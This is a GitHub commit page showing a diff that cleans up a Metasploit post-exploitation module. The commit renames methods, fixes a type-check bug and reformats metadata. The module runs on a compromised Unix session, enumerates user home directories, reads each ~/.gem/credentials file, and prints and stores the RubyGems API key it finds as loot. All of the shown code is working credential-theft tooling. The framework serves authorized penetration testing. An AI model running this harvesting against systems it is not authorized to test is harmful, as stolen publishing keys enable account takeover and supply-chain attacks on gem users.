Skip to content

Commit d53f4e1

Browse files
committed
Fix bugs and make final changes
1 parent 2bb9314 commit d53f4e1

File tree

1 file changed

+29
-25
lines changed

1 file changed

+29
-25
lines changed

modules/post/multi/gather/rubygems_api_key.rb

Lines changed: 29 additions & 25 deletions
Original file line numberDiff line numberDiff line change
@@ -6,57 +6,61 @@
66
require 'msf/core'
77
require 'yaml'
88

9-
class Metasploit3 < Msf::Post
9+
class Metasploit4 < Msf::Post
1010

1111
include Msf::Post::File
1212
include Msf::Post::Unix
1313

1414
def initialize(info = {})
1515
super(update_info(info,
16-
'Name' => 'Multi Gather RubyGems API Key ~/.gem/credentials',
17-
'Description' => %q{
16+
'Name' => 'Multi Gather RubyGems API Key',
17+
'Description' => %q{
1818
This module obtains a user's RubyGems API key from ~/.gem/credentials.
1919
},
20-
'License' => MSF_LICENSE,
21-
'Author' => [ 'Jonathan Claudius <jclaudius[at]trustwave.com>',
22-
'Brandon Myers <bmyers[at]trustwave.com>' ],
23-
'Platform' => %w{ bsd linux osx unix },
24-
'SessionTypes' => %w{ shell }
20+
'Author' => [
21+
'Jonathan Claudius <jclaudius[at]trustwave.com>',
22+
'Brandon Myers <bmyers[at]trustwave.com>'
23+
],
24+
'Platform' => %w{bsd linux osx unix},
25+
'SessionTypes' => %w{shell},
26+
'License' => MSF_LICENSE
2527
))
2628
end
2729

2830
def run
29-
print_status("Finding ~/.gem/credentials")
30-
paths = enum_user_directories.map {|d| d + "/.gem/credentials"}
31+
print_status('Finding ~/.gem/credentials')
32+
paths = enum_user_directories.map { |d| d + '/.gem/credentials' }
3133
paths = paths.select { |f| file?(f) }
3234

3335
if paths.empty?
34-
print_error("No users found with a ~/.gem/credentials file")
36+
print_error('No users found with a ~/.gem/credentials file')
3537
return
3638
end
3739

38-
download_loot(paths)
40+
download_key(paths)
3941
end
4042

41-
def download_loot(paths)
43+
def download_key(paths)
4244
print_status("Looting #{paths.count} files")
4345
paths.each do |path|
4446
path.chomp!
45-
next if [".", ".."].include?(path)
47+
next if ['.', '..'].include?(path)
4648

47-
rubygems_api_key = YAML.load(read_file(path))[:rubygems_api_key] [...]
48-
next unless rubygems_api_key.is_a(::String)
49-
50-
print_good("Found a RubyGems API key #{rubygems_api_key}")
49+
rubygems_api_key = YAML.load(read_file(path))[:rubygems_api_key]
50+
next unless rubygems_api_key
5151

52-
loot_path = store_loot("host.rubygems.apikey",
53-
"text/plain",
54-
session,
55-
rubygems_api_key,
56-
"ruby_api_key.txt",
57-
"Ruby API Key")
52+
print_good("Found a RubyGems API key: #{rubygems_api_key}")
5853

59-
print_good("RubyGems API key stored in #{loot_path.to_s}")
54+
loot_path = store_loot(
55+
'rubygems.apikey',
56+
'text/plain',
57+
session,
58+
rubygems_api_key,
59+
'rubygems_api_key.txt',
60+
'RubyGems API key'
61+
)
62+
63+
print_good("RubyGems API key stored in #{loot_path}")
6064
end
6165
end
6266

0 commit comments

Comments
 (0)